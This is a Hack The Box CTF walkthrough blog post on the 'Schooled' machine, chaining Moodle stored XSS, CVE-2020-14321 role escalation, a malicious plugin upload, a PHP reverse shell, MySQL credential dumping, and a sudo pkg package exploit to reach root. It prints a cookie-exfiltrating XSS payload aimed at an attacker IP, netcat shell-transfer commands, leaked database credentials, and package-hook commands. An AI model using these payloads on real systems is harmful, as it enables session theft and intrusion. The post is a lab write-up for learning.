CTF Walkthroughs, Hack The Box

Hack The Box – Schooled Walkthrough

September 18, 2021 | by Stefano Lanaro | Leave a comment

Introduction

This was an intermediate OpenBSD machine that required to chain several Moodle vulnerabilities to escalate privileges to administrator and obtain initial access and exploit the PKG OpenBSD binary with Sudo permissions enabled to escalate privileges to root.

Enumeration

The first thing to do is to run a TCP Nmap scan against the 1000 most common ports, and using the following flags:

  • -sC to run default scripts
  • -sV to enumerate applications versions

The machine has port 22 (SSH) and port 80 (HTTP) as open. The next step will be to start enumerating HTTP.

Enumerating HTTP

The following page is displayed when accessing the webserver through a browser:

The site doesn’t seem to contain a lot of information but the footer mentions the “schooled.htb” domain:

Adding it to the /etc/hosts file:

The next step is to run a scan to find potential virtual hosts within schooled.htb using Gobuster, with the following flags:

  • vhostto specify the scan should be done against virtual hosts
  • -u to specify the target URL
  • -w to specify the word list to use
  • -t to specify the number of concurrent threads

The scan found a moodle.schooled.htb virtual host. Adding it to the /etc/hosts file:

When accessing the site, it appears to be running the Moodle open-source learning management system:

The site allows users to self-register:

Creating a new account (this functionality returned an error if an incorrect email domain was provided):

Hitting the continue button to confirm the creation of the new account:

The site has now logged in with the newly created user:

Downloading the MoodleScan tool and running it against the instance, to identify its version and any vulnerabilities:

It appears the version is 3.9.0. The application has a “Mathematics” course, selecting it:

And hitting the “Enrol me” button:

Navigating to the announcements for this course:

There appears to be an announcement from the teacher mentioning profiles of students who enrol for the course willl be manually checked:

This link contains a number of vulnerabilities affecting Moodle, one of which, matching the current version, is a Cross-Site Scripting vulnerability:

Apparently client-side code can be executed by inserting JavaScript into the “moodlenetprofile” field within the user profile.

Navigating to the current user’s profile and selecting the “Edit profile” option:

Adding a simple XSS payload to the “ModdleNet profile” field that will execute a simple alert box when anyone visits the user’s profile:

<script>alert(1)</script>

When saving it and navigating to the profile, the payload appears to be executed:

Exploiting Stored Cross-Site Scripting

Since the teacher mentioned users who enrol for the course will be manually reviewed, this can be used to steal the teacher’s session cookie and impersonate them.

Setting up a Python Simple Web Server to receive the request containing the cookie:

This article shows with a really simple example how this can be leveraged to steal a user’s cookie, in this scenario webhook.site won’t be necessary to receive the request as it is all local:

Using the following payload to send the user’s session cookie to the Python webserver as a GET request within the “c” parameter:

<script>document.write('<img src="http://10.10.14.4?c='+document.cookie+'" />');</script>

After a few minutes, a request was received containing the teacher’s “MoodleSession” cookie:

This is possible because the cookie does not use the HttpOnly flag, which would otherwise protect it from being accessed by client-side code. All that is required now is to replace the current session cookie with the teacher’s:

After refreshing the page, the current user is now Manuel Phillips:

Moodle Privilege Escalation

Searching for a vulnerability that would allow for privilege escalation, since the current user is not an administrator of Moodle:

The following GitHub repository shows how a known vulnerability can be exploited to escalate to an administrator user and even obtain remote code execution, although this requires various steps:

https://github.com/HoangKien1020/CVE-2020-14321

The vulnerability is basically a mass assignment issue, where users can change certain properties within a record through a request that change a user’s access to the platform.

First of all manager access needs to be obtained.

Going to the Maths section:

Clicking on “Participants” to enroll additional users:

Clicking on the “Enrol users” button:

Selecting the “stef” user created earlier and assigning a role of Student for this course:

Intercepting the request used to enroll the user with Burp Suite:

Note that the userlist parameter currently says 24, which is the unique identifier for this user. This will need to be replaced with the current teacher user’s ID.

Manuel’s unique identifier in the database is 24:

Modifying the ID to 24 in the request and the “roleassign” parameter to 1 i.e. admin

The manager role was now added to the current user:

Privileges can now be escalated even further through another vulnerability, the Moodle “log in as” functionality, mentioned here. This is also included in the proof of concept that is part of the GitHub repository linked above.

To identify an admin user, the teachers page of the site can be consulted, it appears Lianne is a manager so she is likeli to have administrative access:

Enrolling Lianne in the same course:

Navigating to her profile and hitting the “log in as” button:

The “Manuel Philips” user is now logged in as Lianne:

The administration panel is now available, navigating to it:

Selecting “Users” and “Define roles”:

Editing the manager role, which is the one currently assigned to Manuel:

Without making any changes to it, scrolling to the bottom of the page and hitting “Save changes”:

Intercepting the request with Burp Suite:

Changing the body of the request based on the payload from the GitHub repository:

Full administrative access to the site has now been obtained, and this can be confirmed by the fact plugins can now be managed:

Exploiting Moodle Plugins

The following GitHub repository has a way to remotely execute code through the installation of a custom Moodle plugin:
https://github.com/HoangKien1020/Moodle_RCE

Cloning the repository:

Navigating to the to “Install a plugin” page:

Choosing the ZIP file from the repository:

Hitting the “Install plugin from the ZIP file” button:

Hitting the “Continue” button:

Remote code execution can now be obtained by accessing the block_rce.php file and issuing commands within the “cmd” GET parameter, as shown in the exploit description:

In order to gain a full shell, copying the Laudanum PHP Reverse Shell to the current directory and amending IP address and port accordingly:

Transferring the shell to the remote host using Netcat:

nc -lvnp 4444 < php-reverse-shell.php
nc 10.10.14.4 4444 > /usr/local/www/apache24/data/moodle/shell.php

The shell was downloaded successfully:

The next step is to set up a Netcat listener, which will catch the reverse shell when it is executed by the victim host, using the following flags:

  • -l to listen for incoming connections
  • -v for verbose output
  • -n to skip the DNS lookup
  • -p to specify the port to listen on

Navigating to the file in order to trigger the reverse shell:

A callback on the Netcat listener was received, granting a shell as the www-data user:

Escalating to Jamie User

After some research, it appears database credentials in Moodle are stored in the config.php file:

Using the find command to identify the file and read the credentials:

Since no interactive shell could be obtained due to the machine using OpenBSD, MySQL can only be communicated to using single commands. Finding the MySQL binary, listing availlable databases and tables:

/usr/local/bin/mysql -u moodle -pPlaybookMaster2020 -e 'show databases's
/usr/local/bin/mysql -u moodle -pPlaybookMaster2020 -e 'use moodle;show tables'

Moodle users are stored in the mdl_user table:

A list of usernames and password hashes can be found within this table:

/usr/local/bin/mysql -u moodle -pPlaybookMaster2020 -e 'use moodle;select username,password from mdl_user'

Adding the hash for the admin user to a text file:

Using John the Ripper with the following flags to crack the previously found hashes:

  • –format to specify the hash type, in this case, NTLM
  • –wordlist to specify the wordlist to be used, in this case, rockyou
  • the text file containing the hashes, one per line

The hash was cracked successfully. A “jamie” user appears to be present on the box:

As it turned out, the same password was being used for the jamie user. Authenticating via SSH as Jamie:

Privilege Escalation

When performing sudo -l, it appears the current user can run the following commands as root:

/usr/sbin/pkg update
/usr/sbin/pkg install *

PKG is used in BSD systems to install, remove and manage packages. According to GTFOBins, this can be exploited to escalate privileges too root, by installing a malicious package that will execute arbitrary Bash commands:

Firstly trying the example provided in GTFOBins which will simply execute the “id” command:

TF=$(mktemp -d)
echo 'id' > $TF/x.sh
fpm -n x -s dir -t freebsd -a all --before-install $TF/x.sh $TF

Transferring the package to the target machine using Netcat:

And installing the package:

sudo pkg install -y --no-repo-update ./x-1.0.txz

During the installation, the id command is executed, confirming root-level command execution is obtained.

Creating a new package that will instead execute the same PHP reverse shell used earlier:

TF=$(mktemp -d)
echo '/usr/local/bin/php /usr/local/www/apache24/data/moodle/shell.php' > $TF/stef.sh
fpm -n stef -s dir -t freebsd -a all --before-install $TF/stef.sh $TF

Transferring the new package to the host using Netcat once again:

The next step is to set up a Netcat listener, which will catch the reverse shell when it is executed by the victim host, using the following flags:

  • -l to listen for incoming connections
  • -v for verbose output
  • -n to skip the DNS lookup
  • -p to specify the port to listen on

Upon installing the new package, the reverse shell is executed, granting root-level access to the machine:

sudo pkg install -y --no-repo-update ./stef-1.0.txz

Conclusion

This was definitely one of the longest Hack The Box machines I completed, as it requires chaining various vulnerabilities within the same web application to go from a basic user to full administrative access within Moodle.